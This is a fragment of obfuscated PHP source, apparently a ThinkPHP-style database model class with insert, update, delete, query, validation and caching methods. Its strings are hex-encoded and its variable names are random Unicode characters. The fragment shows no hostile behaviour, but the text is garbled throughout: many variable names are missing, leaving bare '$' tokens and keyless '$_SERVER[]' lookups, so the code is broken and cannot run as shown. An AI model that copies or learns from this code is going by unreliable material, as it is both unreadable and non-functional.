protected $patchValidate = false; protected $methods = array("\164\x61\x62\x6c\x65", "\157\162\x64\x65\x72", "\x61\154\x69\141\163", "\150\x61\x76\151\156\147", "\x67\x72\x6f\165\x70", "\154\157\143\x6b", "\144\x69\163\164\151\156\143\164", "\x61\x75\x74\x6f", "\146\x69\154\164\x65\x72", "\166\x61\x6c\x69\144\141\x74\145", "\162\145\163\x75\154\164", "\x62\x69\156\x64", "\164\157\x6b\x65\156"); public function __construct($ԑ = '', $ې = '', $ = '') { $à =& $_SERVER[]; $this->_initialize(); if (!empty($ԑ)) { if (strpos($ԑ, $Ã[10])) { list($this->dbName, $this->name) = explode($Ã[10], $ԑ); } else { $this->name = $ԑ; } } elseif (empty($this->name)) { $this->name = $this->getModelName(); } if (is_null($ې)) { $this->tablePrefix = $Ã[12]; } elseif ($Ã[12] != $ې) { $this->tablePrefix = $ې; } else { $this->tablePrefix = $this->tablePrefix ? $this->tablePrefix : think_config($Ã[239]); } $this->db(0, empty($this->connection) ? $ : $this->connection); $this->_classObjectID = mt_rand(0, 10000); } protected function _checkTableInfo() { $ =& $_SERVER[]; if (empty($this->fields)) { if (think_config($[240])) { $ = $this->dbName ? $this->dbName : think_config($[241]); $ڱ = think_var_cache($[242] . strtolower(get_path_this($) . $[10] . $this->name)); if ($ڱ) { $ = think_config($[243]); if (empty($) || $ڱ[$[244]] == $) { $this->fields = $ڱ; return; } } } $this->flush(); } } public function flush() { $׃ =& $_SERVER[]; $this->db->setModel($this->name); $ڨ = $this->db->getFields($this->getTableName()); if (!$ڨ) { return !1; } $this->fields = array_keys($ڨ); $this->fields[$׃[245]] = !1; foreach ($ڨ as $؟ٵ => $) { $ߧ[$؟ٵ] = $[$׃[33]]; if ($[$׃[39]]) { $this->fields[$׃[246]] = $؟ٵ; if ($[$׃[42]]) { $this->fields[$׃[245]] = !0; } } } $this->fields[$׃[247]] = $ߧ; if (think_config($׃[243])) { $this->fields[$׃[244]] = think_config($׃[243]); } if (think_config($׃[240])) { $֒ = $this->dbName ? $this->dbName : think_config($׃[241]); think_var_cache($׃[242] . strtolower(get_path_this($֒) . $׃[10] . $this->name), $this->fields); } } public function switchModel($ơ, $ = array()) { $ֻ =& $_SERVER[]; $ = ucwords(strtolower($ơ)) . $ֻ[248]; if (!class_exists($)) { think_exception($ . think_lang($ֻ[249])); } $this->_extModel = new $($this->name); if (!empty($)) { foreach ($ as $ׂߒ) { $this->_extModel->setProperty($ׂߒ, $this->{$ׂߒ}); } } return $this->_extModel; } public function __set($潳, $) { $this->data[$潳] = $; } public function __get($) { return isset($this->data[$]) ? $this->data[$] : null; } public function __isset($) { return isset($this->data[$]); } public function __unset($ĕ) { unset($this->data[$ĕ]); } public function __call($͒, $ץ) { $瘧 =& $_SERVER[]; if (in_array(strtolower($͒), $this->methods, !0)) { $this->options[strtolower($͒)] = $ץ[0]; return $this; } elseif (in_array(strtolower($͒), array($瘧[250], $瘧[251], $瘧[252], $瘧[253], $瘧[254]), !0)) { $۠ = isset($ץ[0]) ? $ץ[0] : $瘧[181]; $۠ = $this->db->parseKey($۠); return $this->getField(strtoupper($͒) . $瘧[255] . $۠ . $瘧[256] . $͒, $瘧[250]); } elseif (strtolower(substr($͒, 0, 5)) == $瘧[257]) { $۠ = think_parse_name(substr($͒, 5)); $ꛉ콴[$۠] = $ץ[0]; return $this->where($ꛉ콴)->find(); } elseif (strtolower(substr($͒, 0, 10)) == $瘧[258]) { $ܿ = think_parse_name(substr($͒, 10)); $ꛉ콴[$ܿ] = $ץ[0]; return $this->where($ꛉ콴)->getField($ץ[1]); } elseif (isset($this->_scope[$͒])) { return $this->scope($͒, $ץ[0]); } elseif (method_exists($this, $͒)) { array_unshift($ץ, $͒); return call_user_func_array(array($this, $瘧[259]), $ץ); } else { return call_user_func_array(array(parent, $͒), $ץ); } } protected function call() { $ =& $_SERVER[]; $ŠЧ = func_get_args(); $뜒 = array_shift($ŠЧ); $Ԝ = $뜒; if (is_array($뜒)) { $Ԝ = $뜒[1]; $뜒 = $뜒[0]; } $ = count($ŠЧ) - 1; if (isset($ŠЧ[$]) && $ŠЧ[$] === $뜒) { think_exception(__CLASS__ . $[4] . $뜒 . think_lang($[260])); return; } $ŠЧ[] = $뜒; if (method_exists($this, $[261])) { $ = call_user_func_array(array($this, $[262]), array($Ԝ, $ŠЧ)); if (!is_null($) && $ !== !1) { return $; } } $ìܣ = call_user_func_array(array($this, $뜒), $ŠЧ); if (method_exists($this, $[263])) { $ = call_user_func_array(array($this, $[264]), array($Ԝ, $ŠЧ, $ìܣ)); if ($) { return $; } } return $ìܣ; } protected function _initialize() { } protected function _facade($) { $Ӟ =& $_SERVER[]; if (!empty($this->fields)) { foreach ($ as $˒ => $) { if (is_array($this->fields) && !in_array($˒, $this->fields, !0)) { unset($[$˒]); } elseif (is_scalar($)) { $this->_parseType($, $˒); } } } if (!empty($this->options[$Ӟ[265]])) { $ = array_map($this->options[$Ӟ[265]], $); unset($this->options[$Ӟ[265]]); } $this->_beforeWrite($); return $; } protected function _beforeWrite(&$وާ) { } public function add($䵨 = '', $ = array(), $ = false) { if (empty($䵨)) { if (!empty($this->data)) { $䵨 = $this->data; $this->data = array(); } else { $this->error = think_lang($_SERVER[][266]); return !1; } } $ = $this->_parseOptions($); $䵨 = $this->_facade($䵨); if (!1 === $this->_beforeInsert($䵨, $)) { return !1; } $ = $this->db->insert($䵨, $, $); if (!1 !== $) { $כ = $this->getLastInsID(); if ($כ) { $䵨[$this->getPk()] = $כ; $this->_after_insert($䵨, $); return $כ; } $this->_after_insert($䵨, $); } return $; } protected function _beforeInsert(&$, $Ӂ) { } protected function _after_insert($°, $ټ) { } public function addAll($ܠ, $ = array(), $ = false) { $ =& $_SERVER[]; if (empty($ܠ)) { $this->error = think_lang($[266]); return !1; } $ = $this->_parseOptions($); foreach ($ܠ as $ۺ => $) { $ܠ[$ۺ] = $this->_facade($); } if (method_exists($this->db, $[267])) { $ߜ = $this->db->insertAll($ܠ, $, $); } else { $this->startTrans(); foreach ($ܠ as $ۺ => $) { $ߜ = $this->db->insert($, $, $); } $this->commit(); } if (!1 !== $ߜ) { $ƫ = $this->getLastInsID(); if ($ƫ) { return $ƫ; } } return $ߜ; } public function selectAdd($⧑ = '', $ = '', $ = array()) { $ =& $_SERVER[]; $ = $this->_parseOptions($); if (!1 === ($ = $this->db->selectInsert($⧑ ? $⧑ : $[$[268]], $ ? $ : $this->getTableName(), $))) { $this->error = think_lang($[269]); return !1; } else { return $; } } public function save($Π = '', $ = array()) { $ӮĶ =& $_SERVER[]; if (empty($Π)) { if (!empty($this->data)) { $Π = $this->data; $this->data = array(); } else { $this->error = think_lang($ӮĶ[266]); return !1; } } $Π = $this->_facade($Π); $ = $this->_parseOptions($); $ = $this->getPk(); if (!isset($[$ӮĶ[270]])) { if (isset($Π[$])) { $[$] = $Π[$]; $[$ӮĶ[270]] = $; unset($Π[$]); } else { $this->error = think_lang($ӮĶ[269]); return !1; } } if (is_array($[$ӮĶ[270]]) && isset($[$ӮĶ[270]][$])) { $Ž = $[$ӮĶ[270]][$]; } if (!1 === $this->_beforeUpdate($Π, $)) { return !1; } $⒁ = $this->db->update($Π, $); if (!1 !== $⒁) { if (isset($Ž)) { $Π[$] = $Ž; } $this->_afterUpdate($Π, $); } return $⒁; } protected function _beforeUpdate(&$臏, $) { } protected function _afterUpdate($, $) { } public function delete($ճ = array()) { $յԍ =& $_SERVER[]; if (empty($ճ) && empty($this->options[$յԍ[270]])) { if (!empty($this->data) && isset($this->data[$this->getPk()])) { return $this->delete($this->data[$this->getPk()]); } else { return !1; } } $ = $this->getPk(); if (is_numeric($ճ) || is_string($ճ)) { if (strpos($ճ, $յԍ[50])) { $Ć[$] = array($յԍ[271], $ճ); } else { $Ć[$] = $ճ; } $this->options[$յԍ[270]] = $Ć; } $ճ = $this->_parseOptions(); if (is_array($ճ[$յԍ[270]]) && isset($ճ[$յԍ[270]][$])) { $ = $ճ[$յԍ[270]][$]; } $ = $this->db->delete($ճ); if (!1 !== $) { $긛 = array(); if (isset($)) { $긛[$] = $; } $this->_after_delete($긛, $ճ); } return $; } protected function _after_delete($؍, $̧) { } public function select($À = array()) { $ѡ =& $_SERVER[]; if (is_string($À) || is_numeric($À)) { $ = $this->getPk(); if (strpos($À, $ѡ[50])) { $咟[$] = array($ѡ[271], $À); } else { $咟[$] = $À; } $this->options[$ѡ[270]] = $咟; } elseif (!1 === $À) { $À = $this->_parseOptions(); return $ѡ[272] . $this->db->buildSelectSql($À) . $ѡ[273]; } $À = $this->_parseOptions(); $ = $this->db->select($À); if (!1 === $) { return !1; } if (empty($)) { return null; } $this->_afterSelect($, $À); return $; } protected function _afterSelect(&$뱮, $ը) { } public function buildSql($Œ = array()) { $ =& $_SERVER[]; $Œ = $this->_parseOptions($Œ); return $[272] . $this->db->buildSelectSql($Œ) . $[273]; } public function optionsValue($ = null) { if (is_null($)) { return $this->options; } elseif (is_array($)) { $this->options = array_merge($this->options, $); } } protected function _parseOptions($ = array()) { $ܢ =& $_SERVER[]; if (is_array($)) { $ = array_merge($this->options, $); } $this->options = array(); if (!isset($[$ܢ[274]])) { $[$ܢ[274]] = $this->getTableName(); $ = $this->fields; } else { $ = $this->getDbFields(); } if (!empty($[$ܢ[275]])) { $[$ܢ[274]] .= $ܢ[53] . $[$ܢ[275]]; } $[$ܢ[276]] = $this->name; if (isset($[$ܢ[270]]) && is_array($[$ܢ[270]]) && !empty($) && !isset($[$ܢ[277]]) && !isset($[$ܢ[274]])) { foreach ($[$ܢ[270]] as $α => $د) { $α = trim($α); if (in_array($α, $, !0)) { if (is_scalar($د)) { $this->_parseType($[$ܢ[270]], $α); } } elseif (!is_numeric($α) && $ܢ[11] != substr($α, 0, 1) && !1 === strpos($α, $ܢ[10]) && !1 === strpos($α, $ܢ[255]) && !1 === strpos($α, $ܢ[278]) && !1 === strpos($α, $ܢ[279])) { unset($[$ܢ[270]][$α]); } } } $this->_options_filter($); return $; } protected function _options_filter(&$񗘩) { } protected function _parseType(&$Сܜ, $) { $ =& $_SERVER[]; if (empty($this->options[$[280]][$[4] . $])) { $뀏 = strtolower($this->fields[$[247]][$]); if (!1 !== strpos($뀏, $[281])) { } elseif (!1 === strpos($뀏, $[282]) && !1 !== strpos($뀏, $[283])) { $Сܜ[$] = intval($Сܜ[$]); } elseif (!1 !== strpos($뀏, $[284]) || !1 !== strpos($뀏, $[285])) { $Сܜ[$] = floatval($Сܜ[$]); } elseif (!1 !== strpos($뀏, $[286])) { $Сܜ[$] = (bool) $Сܜ[$]; } } } public function find($ƾ = array()) { $ҟ =& $_SERVER[]; if (is_numeric($ƾ) || is_string($ƾ)) { $ä[$this->getPk()] = intval($ƾ); $this->options[$ҟ[270]] = $ä; } $this->options[$ҟ[287]] = 1; $ƾ = $this->_parseOptions(); $ = $this->db->select($ƾ); if (!1 === $) { return !1; } if (empty($)) { return null; } $this->data = $[0]; $this->_afterFind($this->data, $ƾ); if (!empty($this->options[$ҟ[288]])) { return $this->returnResult($this->data, $this->options[$ҟ[288]]); } return $this->data; } protected function _afterFind(&$۟, $Ł) { } protected function returnResult($Ȱ, $Ӈ = '') { $׶ =& $_SERVER[]; if ($Ӈ) { if (is_callable($Ӈ)) { return call_user_func($Ӈ, $Ȱ); } switch (strtolower($Ӈ)) { case $׶[289]: return json_encode($Ȱ); case $׶[290]: return xml_encode($Ȱ); } } return $Ȱ; } public function parseFieldsMap($ئ܈, $є = 1) { if (!empty($this->_map)) { foreach ($this->_map as $ҥ => $) { if ($є == 1) { if (isset($ئ܈[$])) { $ئ܈[$ҥ] = $ئ܈[$]; unset($ئ܈[$]); } } else { if (isset($ئ܈[$ҥ])) { $ئ܈[$] = $ئ܈[$ҥ]; unset($ئ܈[$ҥ]); } } } } return $ئ܈; } public function setField($, $ѳ = '') { if (is_array($)) { $䒳 = $; } else { $䒳[$] = $ѳ; } return $this->save($䒳); } public function setAdd($ʤ, $ = 1) { $ =& $_SERVER[]; $ = $ʤ . $[291] . $; if ($ < 0) { $ = $ʤ . $; } return $this->setField($ʤ, array($[292], $)); } public function getField($, $ = null) { $ݲ՗ =& $_SERVER[]; $ݍ[$ݲ՗[268]] = $; $ݍ = $this->_parseOptions($ݍ); $ = trim($); if (strpos($, $ݲ՗[50])) { if (!isset($ݍ[$ݲ՗[287]])) { $ݍ[$ݲ՗[287]] = is_numeric($) ? $ : $ݲ՗[12]; } $ݜէ = $this->db->select($ݍ); if (!empty($ݜէ)) { $ = explode($ݲ՗[50], $); $ = array_keys($ݜէ[0]); $ާ = array_shift($); $Ēɡ = array_shift($); $曯 = array(); $ = count($); foreach ($ݜէ as $㴭) { $ؿ = $㴭[$ާ]; if (2 == $) { $曯[$ؿ] = $㴭[$Ēɡ]; } else { $曯[$ؿ] = is_string($) ? implode($, $㴭) : $㴭; } } return $曯; } } else { if (!0 !== $) { $ݍ[$ݲ՗[287]] = is_numeric($) ? $ : 1; } if ($ === $ݲ՗[250]) { unset($ݍ[$ݲ՗[287]]); } $㴭 = $this->db->select($ݍ); if (!empty($㴭)) { if ($ === $ݲ՗[250]) { return reset($㴭[0]); } if (!0 !== $ && 1 == $ݍ[$ݲ՗[287]]) { return reset($㴭[0]); } foreach ($㴭 as $հ) { $[] = $հ[$]; } return $; } } return null; } public function create($ = '', $϶֮ = '') { $ᙚ =& $_SERVER[]; if (empty($)) { $ = $_POST; } elseif (is_object($)) { $ = get_object_vars($); } if (empty($) || !is_array($)) { $this->error = think_lang($ᙚ[266]); return !1; } $ = $this->parseFieldsMap($, 0); $϶֮ = $϶֮ ? $϶֮ : (!empty($[$this->getPk()]) ? THINK_MODEL_UPDATE : THINK_MODEL_INSERT); if (isset($this->options[$ᙚ[268]])) { $Д = $this->options[$ᙚ[268]]; unset($this->options[$ᙚ[268]]); } elseif ($϶֮ == THINK_MODEL_INSERT && isset($this->insertFields)) { $Д = $this->insertFields; } elseif ($϶֮ == THINK_MODEL_UPDATE && isset($this->updateFields)) { $Д = $this->updateFields; } if (isset($Д)) { if (is_string($Д)) { $Д = explode($ᙚ[50], $Д); } if (think_config($ᙚ[293])) { $Д[] = think_config($ᙚ[294]); } foreach ($ as $ => $՟) { if (!in_array($, $Д)) { unset($[$]); } } } if (!$this->autoValidation($, $϶֮)) { return !1; } if (!$this->autoCheckToken($)) { $this->error = think_lang($ᙚ[295]); return !1; } if ($this->autoCheckFields) { $Д = $this->getDbFields(); foreach ($ as $ => $՟) { if (!in_array($, $Д)) { unset($[$]); } elseif (MAGIC_QUOTES_GPC && is_string($՟)) { $[$] = stripslashes($՟); } } } $this->autoOperation($, $϶֮); $this->data = $; return $; } public function autoCheckToken($؆ڀ) { $ϫ =& $_SERVER[]; if (isset($this->options[$ϫ[296]]) && !$this->options[$ϫ[296]]) { return !0; } if (think_config($ϫ[293])) { $ˈ = think_config($ϫ[294]); if (!isset($؆ڀ[$ˈ]) || Session::get($ˈ)) { return !1; } list($ɶ, $) = explode($ϫ[11], $؆ڀ[$ˈ]); if ($ && Session::get($ˈ . $ϫ[10] . $ɶ) === $) { Session::remove($ˈ . $ϫ[10] . $ɶ); return !0; } if (think_config($ϫ[297])) { Session::remove($ˈ . $ϫ[10] . $ɶ); } return !1; } return !0; } public function regex($ƕ߬, $ű) { $ь =& $_SERVER[]; $ = array($ь[298] => $ь[299], $ь[300] => $ь[301], $ь[302] => $ь[303], $ь[304] => $ь[305], $ь[306] => $ь[307], $ь[308] => $ь[309], $ь[310] => $ь[311], $ь[285] => $ь[312], $ь[313] => $ь[314]); if (isset($[strtolower($ű)])) { $ű = $[strtolower($ű)]; } return preg_match($ű, $ƕ߬) === 1; } private function autoOperation(&$, $ю) { $ =& $_SERVER[]; if (!empty($this->options[$[315]])) { $߱߰ = $this->options[$[315]]; unset($this->options[$[315]]); } elseif (!empty($this->_auto)) { $߱߰ = $this->_auto; } if (isset($߱߰)) { foreach ($߱߰ as $ឩ) { if (empty($ឩ[2])) { $ឩ[2] = THINK_MODEL_INSERT; } if ($ю == $ឩ[2] || $ឩ[2] == THINK_MODEL_BOTH) { switch (trim($ឩ[3])) { case $[316]: case $[317]: $އ = isset($ឩ[4]) ? (array) $ឩ[4] : array(); if (isset($[$ឩ[0]])) { array_unshift($އ, $[$ឩ[0]]); } if ($[316] == $ឩ[3]) { $[$ឩ[0]] = call_user_func_array($ឩ[1], $އ); } else { $[$ឩ[0]] = call_user_func_array(array(&$this, $ឩ[1]), $އ); } break; case $[268]: $[$ឩ[0]] = $[$ឩ[1]]; break; case $[318]: if ($[12] === $[$ឩ[0]]) { unset($[$ឩ[0]]); } break; case $[319]: default: $[$ឩ[0]] = $ឩ[1]; } if (!1 === $[$ឩ[0]]) { unset($[$ឩ[0]]); } } } } return $; } protected function autoValidation($Ơ, $) { $Ǒ =& $_SERVER[]; if (!empty($this->options[$Ǒ[320]])) { $ߘޔ = $this->options[$Ǒ[320]]; unset($this->options[$Ǒ[320]]); } elseif (!empty($this->_validate)) { $ߘޔ = $this->_validate; } if (isset($ߘޔ)) { if ($this->patchValidate) { $this->error = array(); } foreach ($ߘޔ as $ => $) { if (empty($[5]) || $[5] == THINK_MODEL_BOTH || $[5] == $) { if (0 == strpos($[2], $Ǒ[321]) && strpos($[2], $Ǒ[322])) { $[2] = think_lang(substr($[2], 2, -1)); } $[3] = isset($[3]) ? $[3] : THINK_EXISTS_VALIDATE; $[4] = isset($[4]) ? $[4] : $Ǒ[323]; switch ($[3]) { case THINK_MUST_VALIDATE: if (!1 === $this->_validationField($Ơ, $)) { return !1; } break; case THINK_VALUE_VALIDATE: if ($Ǒ[12] != trim($Ơ[$[0]])) { if (!1 === $this->_validationField($Ơ, $)) { return !1; } } break; default: if (isset($Ơ[$[0]])) { if (!1 === $this->_validationField($Ơ, $)) { return !1; } } } } } if (!empty($this->error)) { return !1; } } return !0; } protected function _validationField($눸, $ᅥ) { if (!1 === $this->_validationFieldItem($눸, $ᅥ)) { if ($this->patchValidate) { $this->error[$ᅥ[0]] = $ᅥ[2]; } else { $this->error = $ᅥ[2]; return !1; } } return; } protected function _validationFieldItem($ȯ, $گ) { $Ÿ̙ =& $_SERVER[]; switch (strtolower(trim($گ[4]))) { case $Ÿ̙[316]: case $Ÿ̙[317]: $ = isset($گ[6]) ? (array) $گ[6] : array(); if (is_string($گ[0]) && strpos($گ[0], $Ÿ̙[50])) { $گ[0] = explode($Ÿ̙[50], $گ[0]); } if (is_array($گ[0])) { foreach ($گ[0] as $ӿ) { $ނ[$ӿ] = $ȯ[$ӿ]; } array_unshift($, $ނ); } else { array_unshift($, $ȯ[$گ[0]]); } if ($Ÿ̙[316] == $گ[4]) { return call_user_func_array($گ[1], $); } else { return call_user_func_array(array(&$this, $گ[1]), $); } case $Ÿ̙[324]: return $ȯ[$گ[0]] == $ȯ[$گ[1]]; case $Ÿ̙[325]: if (is_string($گ[0]) && strpos($گ[0], $Ÿ̙[50])) { $گ[0] = explode($Ÿ̙[50], $گ[0]); } $ې = array(); if (is_array($گ[0])) { foreach ($گ[0] as $ӿ) { $ې[$ӿ] = $ȯ[$ӿ]; } } else { $ې[$گ[0]] = $ȯ[$گ[0]]; } if (!empty($ȯ[$this->getPk()])) { $ې[$this->getPk()] = array($Ÿ̙[326], $ȯ[$this->getPk()]); } if ($this->where($ې)->find()) { return !1; } return !0; default: return $this->check($ȯ[$گ[0]], $گ[1], $گ[4]); } } public function check($, $ϓ, $ = "\x72\145\x67\145\170") { $׀ =& $_SERVER[]; $ = strtolower(trim($)); switch ($) { case $׀[7]: case $׀[327]: $– = is_array($ϓ) ? $ϓ : explode($׀[50], $ϓ); return $ == $׀[7] ? in_array($, $–) : !in_array($, $–); case $׀[328]: case $׀[329]: if (is_array($ϓ)) { $烦 = $ϓ[0]; $ = $ϓ[1]; } else { list($烦, $) = explode($׀[50], $ϓ); } return $ == $׀[328] ? $ >= $烦 && $ <= $ : $ < $烦 || $ > $; case $׀[330]: case $׀[331]: return $ == $׀[330] ? $ == $ϓ : $ != $ϓ; case $׀[332]: $Ƙ = mb_strlen($, $׀[333]); if (strpos($ϓ, $׀[50])) { list($烦, $) = explode($׀[50], $ϓ); return $Ƙ >= $烦 && $Ƙ <= $; } else { return $Ƙ == $ϓ; } case $׀[334]: list($մ, $) = explode($׀[50], $ϓ); if (!is_numeric($մ)) { $մ = strtotime($մ); } if (!is_numeric($)) { $ = strtotime($); } return NOW_TIME >= $մ && NOW_TIME <= $; case $׀[335]: return in_array(get_client_ip(), explode($׀[50], $ϓ)); case $׀[336]: return !in_array(get_client_ip(), explode($׀[50], $ϓ)); case $׀[323]: default: return $this->regex($, $ϓ); } } public function query($ٶ, $ = false) { $Ὼ =& $_SERVER[]; if (!is_bool($) && !is_array($)) { $ = func_get_args(); array_shift($); } $ٶ = str_replace(array($Ὼ[226], $Ὼ[337]), $Ὼ[53], $ٶ); $ٶ = $this->parseSql($ٶ, $); return $this->db->query($ٶ); } public function execute($Ռ, $م麰 = false) { if (!is_bool($م麰) && !is_array($م麰)) { $م麰 = func_get_args(); array_shift($م麰); } $Ռ = $this->parseSql($Ռ, $م麰); return $this->db->execute($Ռ); } protected function parseSql($Α, $) { $ =& $_SERVER[]; if (!0 === $) { $ś = $this->_parseOptions(); $Α = $this->db->parseSql($Α, $ś); } elseif (is_array($)) { $ = array_map(array($this->db, $[338]), $); $Α = vsprintf($Α, $); } else { $Α = strtr($Α, array($[339] => $this->getTableName(), $[340] => think_config($[239]))); } $this->db->setModel($this->name); return $Α; } public function db($㾚 = '', $¾ = '', $ȁ = array()) { $ =& $_SERVER[]; if ($[12] === $㾚 && $this->db) { return $this->db; } static $ = array(); static $ږ = array(); if (!isset($ږ[$㾚]) || isset($ږ[$㾚]) && $¾ && $[$㾚] != $¾) { if (!empty($¾) && is_string($¾) && !1 === strpos($¾, $[8])) { $¾ = think_config($¾); } $㾚 = think_guid($¾); $ږ[$㾚] = Db::getInstance($¾); } elseif (NULL === $¾) { $ږ[$㾚]->close(); unset($ږ[$㾚]); return; } if (!empty($ȁ)) { if (is_string($ȁ)) { parse_str($ȁ, $ȁ); } foreach ($ȁ as $× => $ļ) { $this->setProperty($×, $ļ); } } $[$㾚] = $¾; $this->db = $ږ[$㾚]; $this->_after_db(); if (!empty($this->name) && $this->autoCheckFields) { $this->_checkTableInfo(); } return $this; } protected function _after_db() { } public function getModelName() { if (empty($this->name)) { $Ϟ = get_class($this); if ($Ϟ == $_SERVER[][341]) { return $this->name; } $this->name = substr($Ϟ, 0, -5); } return $this->name; } public function getTableName() { $ =& $_SERVER[]; if (empty($this->trueTableName)) { $ = !empty($this->tablePrefix) ? $this->tablePrefix : $[12]; if (!empty($this->tableName)) { $ .= $this->tableName; } else { $ .= think_parse_name($this->name); } $this->trueTableName = strtolower($); } return (!empty($this->dbName) ? $this->dbName . $[10] : $[12]) . $this->trueTableName; } public function startTrans() { $this->commit(); $this->db->startTrans(); return; } public function commit() { return $this->db->commit(); } public function rollback() { return $this->db->rollback(); } public function getError() { return $this->error; } public function getDbError() { return $this->db->getError(); } public function getLastInsID() { return $this->db->getLastInsID(); } public function getLastSql() { return $this->db->getLastSql($this->name); } public function _sql() { return $this->getLastSql(); } public function getPk() { $¥ =& $_SERVER[]; return isset($this->fields[$¥[246]]) ? $this->fields[$¥[246]] : $this->pk; } public function getDbFields() { $ =& $_SERVER[]; if (isset($this->options[$[274]])) { $ = $this->db->getFields($this->options[$[274]]); return $ ? array_keys($) : !1; } if ($this->fields) { $ = $this->fields; unset($[$[245]], $[$[246]], $[$[247]], $[$[244]]); return $; } return !1; } public function data($Û = '') { $Ɣ۞ =& $_SERVER[]; if ($Ɣ۞[12] === $Û && !empty($this->data)) { return $this->data; } if (is_object($Û)) { $Û = get_object_vars($Û); } elseif (is_string($Û)) { parse_str($Û, $Û); } elseif (!is_array($Û)) { think_exception(think_lang($Ɣ۞[266])); } $this->data = $Û; return $this; } public function join($Ҭ) { $ =& $_SERVER[]; if (is_array($Ҭ)) { $this->options[$[277]] = $Ҭ; } elseif (!empty($Ҭ)) { $this->options[$[277]][] = $Ҭ; } return $this; } public function union($, $ٌ = false) { $IJ =& $_SERVER[]; if (empty($)) { return $this; } if ($ٌ) { $this->options[$IJ[342]][$IJ[343]] = !0; } if (is_object($)) { $ = get_object_vars($); } if (is_string($)) { $݋ǻ = $; } elseif (is_array($)) { if (isset($[0])) { $this->options[$IJ[342]] = array_merge($this->options[$IJ[342]], $); return $this; } else { $݋ǻ = $; } } else { think_exception(think_lang($IJ[266])); } $this->options[$IJ[342]][] = $݋ǻ; return $this; } public function cache($ = true, $ = null, $ڠ˙ = '') { $Ց =& $_SERVER[]; if (!1 !== $) { $this->options[$Ց[344]] = array($Ց[95] => $, $Ց[334] => $, $Ց[33] => $ڠ˙); } return $this; } public function field($η, $ș = false) { $͐꩚ =& $_SERVER[]; if (!0 === $η) { $ = $this->getDbFields(); $η = $ ? $ : $͐꩚[181]; } elseif ($ș) { if (is_string($η)) { $η = explode($͐꩚[50], $η); } $ = $this->getDbFields(); $η = $ ? array_diff($, $η) : $η; } $this->options[$͐꩚[268]] = $η; return $this; } public function scope($ = '', $ = NULL) { $ =& $_SERVER[]; if ($[12] === $) { if (isset($this->_scope[$[37]])) { $ۙ = $this->_scope[$[37]]; } else { return $this; } } elseif (is_string($)) { $פ = explode($[50], $); $ۙ = array(); foreach ($פ as $ɜމ) { if (!isset($this->_scope[$ɜމ])) { continue; } $ۙ = array_merge($ۙ, $this->_scope[$ɜމ]); } if (!empty($) && is_array($)) { $ۙ = array_merge($ۙ, $); } } elseif (is_array($)) { $ۙ = $; } if (is_array($ۙ) && !empty($ۙ)) { $this->options = array_merge($this->options, array_change_key_case($ۙ)); } return $this; } public function where($±, $ʸ = null) { $ =& $_SERVER[]; if (!is_null($ʸ) && is_string($±)) { if (!is_array($ʸ)) { $ʸ = func_get_args(); array_shift($ʸ); } $ʸ = array_map(array($this->db, $[338]), $ʸ); $± = vsprintf($±, $ʸ); } elseif (is_object($±)) { $± = get_object_vars($±); } elseif (is_array($±)) { foreach ($± as $ => $ݾ) { if ((is_numeric($) || !$) && is_string($ݾ)) { if (strpos($ݾ, $[345]) === 0) { continue; } think_trace($[346], $[12], $[49]); die; } } } if (is_string($±) && $[12] != $±) { $䊴 = array(); $䊴[$[347]] = $±; $± = $䊴; } if (isset($this->options[$[270]])) { $this->options[$[270]] = array_merge($this->options[$[270]], $±); } else { $this->options[$[270]] = $±; } return $this; } public function limit($Ѷ, $ = null) { $ =& $_SERVER[]; $this->options[$[287]] = is_null($) ? $Ѷ : $Ѷ . $[50] . $; return $this; } public function page($, $ = null) { $ =& $_SERVER[]; $this->options[$[348]] = is_null($) ? $ : $ . $[50] . $; return $this; } public function comment($Ɣ) { $this->options[$_SERVER[][349]] = $Ɣ; return $this; } public function setProperty($ض, $案) { if (property_exists($this, $ض)) { $this->{$ض} = $案; } return $this; } } class ModelBase extends Model { const SQL_WHERE_IN_CHUNK = 2000; protected $dataAuto = array(array("\155\x6f\x64\151\x66\x79\124\x69\x6d\x65", "\164\x69\x6d\145", "\151\x6e\163\x65\162\164\x2c\x75\160\144\x61\164\145", "\x66\x75\x6e\x63\164\x69\x6f\156"), array("\143\x72\x65\141\x74\145\124\151\155\145", "\x74\x69\155\x65", "\x69\x6e\163\x65\x72\x74", "\146\x75\x6e\x63\x74\151\x6f\x6e")); public function setDataAuto($) { $this->dataAuto = $; } public function __construct($ߡ = '', $ = '', $Ԧ = '') { parent::__construct($ߡ, $, $Ԧ); } protected $tableMeta = array(); protected function _beforeInsert(&$, $) { $ =& $_SERVER[]; if (!$this->checkDataAutoHas($[350])) { return; } $this->dataBeforeFilter($, $[350]); } protected function _beforeUpdate(&$, $) { $ =& $_SERVER[]; if (!$this->checkDataAutoHas($[351])) { return; } $this->dataBeforeFilter($, $[351]); } protected function _afterSelect(&$ć؁, $) { if (!is_array($ć؁)) { return; } if (!$this->checkDataAutoHas($_SERVER[][352])) { return; } foreach ($ć؁ as &$݈״) { $this->dataAfterFilter($݈״); } unset($݈״); } protected function _afterFind(&$, $) { if (!is_array($)) { return; } if (!$this->checkDataAutoHas($_SERVER[][352])) { return; } $this->dataAfterFilter($); } public static function textEncode($嘧) { if (!$嘧) { return $嘧; } $ܤ = json_encode($嘧); $ܤ = preg_replace_callback($_SERVER[][353], function ($) { return addslashes($[0]); }, $ܤ); return json_decode($ܤ); } public static function textDecode($) { $ =& $_SERVER[]; $۸ = json_encode($); $۸ = preg_replace_callback($[354], function ($) { return $_SERVER[][98]; }, $۸); return json_decode($۸); } public function setAutoIncrement($) { $ = array($this->getPk() => $); $Ȇ = $this->data($)->add(); if ($Ȇ) { $this->delete($Ȇ); } } public function getAutoIncrement() { $䡏 = $this->getTableName(); $ = $this->max($this->getPk()); $ߐ = $this->query("\x73\150\x6f\x77\x20\x74\x61\142\x6c\x65\40\163\164\141\x74\165\163\x20\x77\x68\145\162\x65\40\116\x61\x6d\x65\x3d\47{$䡏}\47"); $ = $ߐ[0][$_SERVER[][355]]; $ = max($, $); return $; } protected function _callBefore($ϰ, $¥) { return $this->cacheCallCheck($ϰ, $¥, !1); } protected function _callAfter($Ќ, $) { return $this->cacheCallCheck($Ќ, $, !0); } protected function cacheFunctionAlias($) { return !1; } public function cacheMemory() { return $this->cache(null, 0); } protected function cacheCallCheck($, $Ŧ, $DŽ = false) { $ = $this->cacheFunctionAlias($Ŧ); if (!$) { return; } foreach ($ as $ => $) { $툋 = $[0]; $ = explode($_SERVER[][50], $[1]); if ($ == $) { return $this->cacheFunctionGet($, $툋); } if ($DŽ && in_array($, $)) { $this->cacheFunctionClear($, $툋); } } } public function 